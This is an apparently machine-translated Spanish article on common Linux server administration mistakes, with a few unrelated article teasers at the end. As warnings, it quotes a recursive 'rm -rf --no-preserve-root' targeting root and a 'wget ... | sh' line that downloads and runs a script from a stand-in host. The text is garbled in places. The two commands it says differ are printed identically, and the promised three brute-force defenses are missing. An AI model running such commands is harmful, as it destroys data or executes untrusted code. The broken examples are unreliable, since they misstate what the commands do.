Comandos de Linux

Cinco errores de administración de servidores Linux y cómo evitarlos

Cinco errores de administración de servidores Linux y cómo evitarlos
En 2017, se le pidió a un empleado de GitLab, la plataforma de alojamiento de control de versiones, que replicara una base de datos de datos de producción. Debido a un error de configuración, la replicación no funcionó como se esperaba, por lo que el empleado decidió eliminar los datos que se habían transferido y volver a intentarlo. Ejecutó un comando para eliminar los datos no deseados, solo para darse cuenta con creciente horror de que había ingresado el comando en una sesión SSH conectada a un servidor de producción, eliminando cientos de gigabytes de datos de usuario. Todos los administradores de sistemas experimentados pueden contarle una historia similar.

La línea de comandos de Linux les da a los administradores de servidores el control de sus servidores y los datos almacenados en ellos, pero hace poco para evitar que ejecuten comandos destructivos con consecuencias que no se pueden deshacer. La eliminación accidental de datos es solo un tipo de error que cometen los nuevos administradores de servidores.

Bloqueando las llaves adentro

Los administradores de servidor se conectan a los servidores con SSH, un servicio que generalmente se ejecuta en el puerto 22, proporcionando un shell de inicio de sesión a través del cual los usuarios autenticados pueden ejecutar comandos en servidores remotos. Un paso de refuerzo de seguridad estándar es configurar SSH para aceptar conexiones en un puerto diferente. Mover SSH a un puerto aleatorio de números altos limita el impacto de los ataques de fuerza bruta; los piratas informáticos no pueden intentar inicios de sesión maliciosos cuando no pueden encontrar el puerto en el que SSH está escuchando.

Sin embargo, un administrador que configura SSH para escuchar en un puerto diferente y luego reinicia el servidor SSH puede encontrar que no solo los piratas informáticos están bloqueados. Si el cortafuegos del servidor no se reconfigura también para permitir conexiones en el nuevo puerto, los intentos de conexión nunca llegarán al servidor SSH. El administrador no podrá acceder a su servidor y no habrá forma de solucionar el problema, excepto abrir un ticket de soporte con su proveedor de alojamiento. Si cambia el puerto SSH, asegúrese de abrir el nuevo puerto en la configuración del firewall de su servidor.

Elegir una contraseña fácil de adivinar

Los ataques de fuerza bruta son un juego de adivinanzas. El atacante prueba muchos nombres de usuario y contraseñas hasta que encuentra una combinación que les deja entrar. Un ataque de diccionario es un enfoque más refinado que utiliza listas de contraseñas, a menudo extraídas de bases de datos de contraseñas filtradas. Los ataques contra la cuenta raíz son más fáciles que contra otras cuentas porque el atacante ya conoce el nombre de usuario. Si una cuenta de root tiene una contraseña simple, entonces puede ser pirateada en un abrir y cerrar de ojos.

Hay tres formas de defenderse de los ataques de fuerza bruta y de diccionario contra la cuenta raíz.

Copiando comandos que no entiendes

Stack Exchange, Server Fault y sitios similares son un salvavidas para los nuevos administradores de sistemas Linux, pero debe evitar la tentación de copiar y pegar un comando de shell que no comprenda. ¿Cuál es la diferencia entre estos dos comandos??

sudo rm -rf --no-preserve-root / mnt / mydrive /
sudo rm -rf --no-preserve-root / mnt / mydrive /

Es fácil ver cuando se muestran juntos, pero no tan fácil cuando se busca en foros buscando un comando para eliminar el contenido de un volumen montado. El primer comando elimina todos los archivos en la unidad montada. El segundo comando elimina esos archivos y todo en el sistema de archivos raíz del servidor. La única diferencia es el espacio antes de la barra final.

Los administradores del servidor pueden encontrar comandos largos con canalizaciones que se dice que hacen una cosa pero hacen otra completamente diferente. Tenga especial cuidado con los comandos que descargan código de Internet.

wget http: // ejemplo.com / verybadscript -O - | sh -

Este comando usa wget para descargar un script que se canaliza al shell y se ejecuta. Para ejecutar esto de forma segura, debe comprender lo que hace el comando y también lo que hace el script descargado, incluido cualquier código que el script descargado pueda descargar.

Iniciar sesión como root

Si bien los usuarios normales solo pueden alterar archivos en su carpeta de inicio, es poco lo que el usuario root no puede hacer en un servidor Linux. Puede ejecutar cualquier software, leer cualquier dato y eliminar cualquier archivo.

Las aplicaciones ejecutadas por el usuario root tienen un poder similar. Es conveniente iniciar sesión como usuario root porque no tiene que "sudo" o "su" todo el tiempo, pero es peligroso. Un error tipográfico podría destruir su servidor en segundos. El software con errores ejecutado por el usuario root podría crear una catástrofe. Para las operaciones diarias, inicie sesión como un usuario normal y ascienda a privilegios de root solo cuando sea necesario.

No aprender los permisos del sistema de archivos

Los permisos del sistema de archivos pueden resultar confusos y frustrantes para los nuevos usuarios de Linux. Una cadena de permiso como "drwxr-xr-x" parece insignificante al principio, y los permisos pueden impedirle modificar archivos y evitar que el software haga lo que usted desea.

Los administradores del sistema aprenden rápidamente que chmod 777 es un encantamiento mágico que soluciona la mayoría de estos problemas, pero es una idea terrible. Permite que todos los que tengan una cuenta lean, escriban y ejecuten el archivo. Si ejecuta ese comando en el directorio de un servidor web, está pidiendo ser pirateado. Los permisos de archivos de Linux parecen complicados, pero si se toma unos minutos para aprender cómo funcionan, descubrirá un sistema lógico y flexible para controlar el acceso a los archivos.

En una era que valora las experiencias de usuario simples por encima de todos los demás factores, la línea de comandos de Linux sigue siendo decididamente compleja y resistente a la simplificación. No puedes salir adelante y esperar que todo esté bien. No estará bien y terminarás con un desastre en tus manos.

Pero si aprende los conceptos básicos: permisos de archivos, herramientas de línea de comandos y sus opciones, mejores prácticas de seguridad, puede convertirse en un maestro de una de las plataformas informáticas más poderosas jamás creadas.

Cómo usar AutoKey para automatizar juegos de Linux
AutoKey es una utilidad de automatización de escritorio para Linux y X11, programada en Python 3, GTK y Qt. Usando su funcionalidad de scripting y MAC...
Cómo mostrar el contador de FPS en juegos de Linux
Los juegos de Linux obtuvieron un gran impulso cuando Valve anunció el soporte de Linux para el cliente Steam y sus juegos en 2012. Desde entonces, mu...
Cómo descargar y jugar Sid Meier's Civilization VI en Linux
Introducción al juego Civilization 6 es una versión moderna del concepto clásico introducido en la serie de juegos Age of Empires. La idea era bastant...